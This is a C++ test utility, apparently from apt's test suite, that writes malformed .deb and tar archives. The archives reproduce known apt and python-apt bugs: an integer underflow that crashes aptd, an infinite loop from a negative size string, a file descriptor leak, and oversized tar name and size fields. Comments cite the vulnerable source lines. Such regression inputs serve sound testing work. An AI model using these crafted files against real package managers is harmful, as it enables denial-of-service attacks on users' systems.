369 lines
9.6 KiB
C++
369 lines
9.6 KiB
C++
#include <config.h>
|
|
|
|
#include <cerrno>
|
|
#include <cstdint>
|
|
#include <cstdio>
|
|
#include <cstdlib>
|
|
#include <cstring>
|
|
#include <fcntl.h>
|
|
#include <sys/stat.h>
|
|
#include <sys/types.h>
|
|
#include <unistd.h>
|
|
|
|
struct Header
|
|
{
|
|
char Name[16];
|
|
char MTime[12];
|
|
char UID[6];
|
|
char GID[6];
|
|
char Mode[8];
|
|
char Size[10];
|
|
char Magic[2];
|
|
};
|
|
|
|
struct TarHeader
|
|
{
|
|
char Name[100];
|
|
char Mode[8];
|
|
char UserID[8];
|
|
char GroupID[8];
|
|
char Size[12];
|
|
char MTime[12];
|
|
char Checksum[8];
|
|
char LinkFlag;
|
|
char LinkName[100];
|
|
char MagicNumber[8];
|
|
char UserName[32];
|
|
char GroupName[32];
|
|
char Major[8];
|
|
char Minor[8];
|
|
};
|
|
|
|
// Call `write` and check the result.
|
|
static void write_chk(int fd, const void *buf, size_t count)
|
|
{
|
|
const ssize_t wr = write(fd, buf, count);
|
|
if (wr < 0)
|
|
{
|
|
const int err = errno;
|
|
fprintf(stderr, "Write failed: %s\n", strerror(err));
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
if ((size_t)wr != count)
|
|
{
|
|
fprintf(stderr, "Incomplete write.\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
}
|
|
|
|
// Triggers a negative integer overflow at https://git.launchpad.net/ubuntu/+source/apt/tree/apt-pkg/contrib/arfile.cc?h=applied/ubuntu/focal-updates&id=4c264e60b524855b211751e1632ba48526f6b44d#n116:
|
|
//
|
|
// Memb->Size -= Len;
|
|
//
|
|
// Due to the integer overflow, the value of Memb->Size is 0xFFFFFFFFFFFFFFFF.
|
|
// This leads to an out-of-memory error at https://git.launchpad.net/ubuntu/+source/python-apt/tree/python/arfile.cc?h=applied/ubuntu/focal-updates&id=0f7cc93acdb51d943114f1cd79002288c4ca4d24#n602:
|
|
//
|
|
// char* value = new char[member->Size];
|
|
//
|
|
// The out-of-memory error causes aptd to crash.
|
|
static void createdeb_crash(const int fd)
|
|
{
|
|
// Magic number
|
|
static const char *magic = "!<arch>\n";
|
|
write_chk(fd, magic, strlen(magic));
|
|
|
|
struct Header h;
|
|
memset(&h, 0, sizeof(h));
|
|
|
|
memcpy(h.Name, "control.tar ", sizeof(h.Name));
|
|
write_chk(fd, &h, sizeof(h));
|
|
|
|
memset(&h, 0, sizeof(h));
|
|
memcpy(h.Name, "data.tar ", sizeof(h.Name));
|
|
write_chk(fd, &h, sizeof(h));
|
|
|
|
memset(&h, 0, sizeof(h));
|
|
memcpy(h.Name, "#1/13 ", sizeof(h.Name));
|
|
strcpy(h.Size, "12");
|
|
write_chk(fd, &h, sizeof(h));
|
|
write_chk(fd, "debian-binary", 13);
|
|
}
|
|
|
|
// Triggers an infinite loop in `ARArchive::LoadHeaders()`.
|
|
// The bug is due to the use of `strtoul` at https://git.launchpad.net/ubuntu/+source/apt/tree/apt-pkg/contrib/strutl.cc?h=applied/ubuntu/focal-updates&id=4c264e60b524855b211751e1632ba48526f6b44d#n1169:
|
|
//
|
|
// Res = strtoul(S,&End,Base);
|
|
//
|
|
// The problem is that `strtoul` accepts negative numbers. We exploit that here by setting the size string to "-60".
|
|
static void createdeb_loop(const int fd)
|
|
{
|
|
// Magic number
|
|
static const char *magic = "!<arch>\n";
|
|
write_chk(fd, magic, strlen(magic));
|
|
|
|
struct Header h;
|
|
memset(&h, 0, sizeof(h));
|
|
|
|
memcpy(h.Name, "#1/20 ", sizeof(h.Name));
|
|
strcpy(h.Size, "-60");
|
|
write_chk(fd, &h, sizeof(h));
|
|
|
|
char buf[20];
|
|
memset(buf, 0, sizeof(buf));
|
|
write_chk(fd, buf, sizeof(buf));
|
|
}
|
|
|
|
// Leaks a file descriptor in `debfile_new()`:
|
|
//
|
|
// https://git.launchpad.net/python-apt/tree/python/arfile.cc?h=2.0.0#n588
|
|
//
|
|
// If the .deb file is invalid then the function returns without deleting
|
|
// `self`, which means that the file descriptor isn't closed.
|
|
static void createdeb_leakfd(const int fd)
|
|
{
|
|
// Magic number
|
|
static const char *magic = "!<arch>\n";
|
|
write_chk(fd, magic, strlen(magic));
|
|
|
|
struct Header h;
|
|
memset(&h, 0, sizeof(h));
|
|
|
|
memset(&h, 0, sizeof(h));
|
|
memcpy(h.Name, "data.tar ", sizeof(h.Name));
|
|
write_chk(fd, &h, sizeof(h));
|
|
}
|
|
|
|
static void set_checksum(unsigned char block[512])
|
|
{
|
|
struct TarHeader *tar = (struct TarHeader *)&block[0];
|
|
memset(tar->Checksum, ' ', sizeof(tar->Checksum));
|
|
uint32_t sum = 0;
|
|
for (int i = 0; i < 512; i++)
|
|
{
|
|
sum += block[i];
|
|
}
|
|
snprintf(tar->Checksum, sizeof(tar->Checksum), "%o", sum);
|
|
}
|
|
static void base256_encode(char *Str, unsigned long long Num, unsigned int Len)
|
|
{
|
|
Str += Len;
|
|
while (Len-- > 0) {
|
|
*--Str = static_cast<char>(Num & 0xff);
|
|
Num >>= 8;
|
|
}
|
|
|
|
*Str |= 0x80; // mark as base256
|
|
}
|
|
|
|
// Create a deb with a control.tar that contains a too large file or link name (GNU extension)
|
|
static void createdeb_bigtarfilelength(const int fd, int flag, unsigned long long size = 64llu * 1024 * 1024 + 1)
|
|
{
|
|
// Magic number
|
|
static const char *magic = "!<arch>\n";
|
|
write_chk(fd, magic, strlen(magic));
|
|
|
|
struct Header h;
|
|
memset(&h, ' ', sizeof(h));
|
|
memcpy(h.Name, "debian-binary/ ", sizeof(h.Name));
|
|
h.MTime[0] = '0';
|
|
h.UID[0] = '0';
|
|
h.GID[0] = '0';
|
|
memcpy(h.Mode, "644", 3);
|
|
h.Size[0] = '0';
|
|
memcpy(h.Magic, "`\n", 2);
|
|
|
|
write_chk(fd, &h, sizeof(h));
|
|
|
|
memset(&h, ' ', sizeof(h));
|
|
memcpy(h.Name, "data.tar/ ", sizeof(h.Name));
|
|
h.MTime[0] = '0';
|
|
h.UID[0] = '0';
|
|
h.GID[0] = '0';
|
|
memcpy(h.Mode, "644", 3);
|
|
h.Size[0] = '0';
|
|
memcpy(h.Magic, "`\n", 2);
|
|
|
|
write_chk(fd, &h, sizeof(h));
|
|
|
|
memset(&h, ' ', sizeof(h));
|
|
memcpy(h.Name, "control.tar/ ", sizeof(h.Name));
|
|
h.MTime[0] = '0';
|
|
h.UID[0] = '0';
|
|
h.GID[0] = '0';
|
|
memcpy(h.Mode, "644", 3);
|
|
memcpy(h.Size, "512", 3);
|
|
memcpy(h.Magic, "`\n", 2);
|
|
|
|
write_chk(fd, &h, sizeof(h));
|
|
union
|
|
{
|
|
struct TarHeader t;
|
|
unsigned char buf[512];
|
|
} t;
|
|
for (unsigned int i = 0; i < sizeof(t.buf); i++)
|
|
t.buf[i] = '7';
|
|
memcpy(t.t.Name, "control\0 ", 16);
|
|
memcpy(t.t.UserName, "userName", 8);
|
|
memcpy(t.t.GroupName, "thisIsAGroupNamethisIsAGroupName", 32);
|
|
memcpy(t.t.UserID, "0", 2);
|
|
memcpy(t.t.GroupID, "0", 2);
|
|
memcpy(t.t.MTime, "0", 2);
|
|
memcpy(t.t.MagicNumber, "0", 2);
|
|
memcpy(t.t.Major, "0", 2);
|
|
memcpy(t.t.Minor, "0", 2);
|
|
t.t.LinkFlag = flag;
|
|
base256_encode(t.t.Size, size, sizeof(t.t.Size));
|
|
memset(t.t.Checksum, ' ', sizeof(t.t.Checksum));
|
|
|
|
unsigned long sum = 0;
|
|
for (unsigned int i = 0; i < sizeof(t.buf); i++)
|
|
sum += t.buf[i];
|
|
|
|
int written = sprintf(t.t.Checksum, "%lo", sum);
|
|
for (unsigned int i = written; i < sizeof(t.t.Checksum); i++)
|
|
t.t.Checksum[i] = ' ';
|
|
|
|
write_chk(fd, t.buf, sizeof(t.buf));
|
|
}
|
|
|
|
static void createtar(const int fd)
|
|
{
|
|
union
|
|
{
|
|
struct TarHeader t;
|
|
char buf[512];
|
|
} t;
|
|
for (size_t i = 0; i < sizeof(t.buf); i++)
|
|
t.buf[i] = '7';
|
|
memcpy(t.t.Name, "unterminatedName", 16);
|
|
memcpy(t.t.UserName, "userName", 8);
|
|
memcpy(t.t.GroupName, "thisIsAGroupNamethisIsAGroupName", 32);
|
|
memcpy(t.t.UserID, "0", 2);
|
|
memcpy(t.t.GroupID, "0", 2);
|
|
memcpy(t.t.MTime, "0", 2);
|
|
memcpy(t.t.MagicNumber, "0", 2);
|
|
memcpy(t.t.Major, "0", 2);
|
|
memcpy(t.t.Minor, "0", 2);
|
|
t.t.LinkFlag = 'X'; // I AM BROKEN
|
|
memcpy(t.t.Size, "000000000000", sizeof(t.t.Size));
|
|
memset(t.t.Checksum, ' ', sizeof(t.t.Checksum));
|
|
|
|
unsigned long sum = 0;
|
|
for (size_t i = 0; i < sizeof(t.buf); i++)
|
|
sum += t.buf[i];
|
|
|
|
int written = sprintf(t.t.Checksum, "%lo", sum);
|
|
for (size_t i = written; i < sizeof(t.t.Checksum); i++)
|
|
t.t.Checksum[i] = ' ';
|
|
write_chk(fd, t.buf, sizeof(t.buf));
|
|
}
|
|
|
|
static void createdeb_test(const int fd)
|
|
{
|
|
// Magic number
|
|
static const char *magic = "!<arch>\n";
|
|
write_chk(fd, magic, strlen(magic));
|
|
|
|
struct Header h;
|
|
|
|
memset(&h, 0, sizeof(h));
|
|
memcpy(h.Name, "data.tar ", sizeof(h.Name));
|
|
write_chk(fd, &h, sizeof(h));
|
|
|
|
memset(&h, 0, sizeof(h));
|
|
memcpy(h.Name, "debian-binary ", sizeof(h.Name));
|
|
strcpy(h.Size, "4");
|
|
write_chk(fd, &h, sizeof(h));
|
|
static const char *debian_binary = "2.0\n";
|
|
write_chk(fd, debian_binary, strlen(debian_binary));
|
|
|
|
static const char *control =
|
|
"Architecture: all\n"
|
|
"Package: kevsh\n\n";
|
|
memset(&h, 0, sizeof(h));
|
|
memcpy(h.Name, "control.tar ", sizeof(h.Name));
|
|
snprintf(h.Size, sizeof(h.Size), "%ld", (size_t)512 + 512);
|
|
write_chk(fd, &h, sizeof(h));
|
|
|
|
unsigned char block[512];
|
|
memset(block, 0, sizeof(block));
|
|
struct TarHeader *tar = (struct TarHeader *)&block[0];
|
|
strcpy(tar->Name, "control");
|
|
strcpy(tar->Mode, "644");
|
|
snprintf(tar->Size, sizeof(tar->Size), "%lo", strlen(control));
|
|
set_checksum(block);
|
|
write_chk(fd, block, sizeof(block));
|
|
|
|
memset(block, 0, sizeof(block));
|
|
strcpy((char *)block, control);
|
|
write_chk(fd, block, sizeof(block));
|
|
}
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
if (argc != 3)
|
|
{
|
|
const char *progname = argc > 0 ? argv[0] : "a.out";
|
|
fprintf(
|
|
stderr,
|
|
"usage: %s <mode> <filename>\n"
|
|
"modes: loop, segv, leakfd\n",
|
|
progname);
|
|
return EXIT_FAILURE;
|
|
}
|
|
|
|
const char *mode = argv[1];
|
|
const char *filename = argv[2];
|
|
|
|
const int fd = open(filename, O_CREAT | O_WRONLY | O_TRUNC, 00644);
|
|
if (fd < 0)
|
|
{
|
|
const int err = errno;
|
|
fprintf(stderr, "Could not open %s: %s\n", filename, strerror(err));
|
|
return EXIT_FAILURE;
|
|
}
|
|
|
|
if (strcmp(mode, "crash") == 0)
|
|
{
|
|
createdeb_crash(fd);
|
|
}
|
|
else if (strcmp(mode, "loop") == 0)
|
|
{
|
|
createdeb_loop(fd);
|
|
}
|
|
else if (strcmp(mode, "leakfd") == 0)
|
|
{
|
|
createdeb_leakfd(fd);
|
|
}
|
|
else if (strcmp(mode, "long-name") == 0)
|
|
{
|
|
createdeb_bigtarfilelength(fd, 'L');
|
|
}
|
|
else if (strcmp(mode, "long-link") == 0)
|
|
{
|
|
createdeb_bigtarfilelength(fd, 'K');
|
|
}
|
|
else if (strcmp(mode, "long-control") == 0)
|
|
{
|
|
createdeb_bigtarfilelength(fd, '0');
|
|
}
|
|
else if (strcmp(mode, "too-long-control") == 0)
|
|
{
|
|
createdeb_bigtarfilelength(fd, '0', 128llu * 1024 * 1024 * 1024 + 1);
|
|
}
|
|
else if (strcmp(mode, "github-111") == 0)
|
|
{
|
|
createtar(fd);
|
|
}
|
|
else if (strcmp(mode, "test") == 0)
|
|
{
|
|
createdeb_test(fd);
|
|
}
|
|
else
|
|
{
|
|
fprintf(stderr, "Mode not recognized: %s\n", mode);
|
|
}
|
|
|
|
close(fd);
|
|
return EXIT_SUCCESS;
|
|
}
|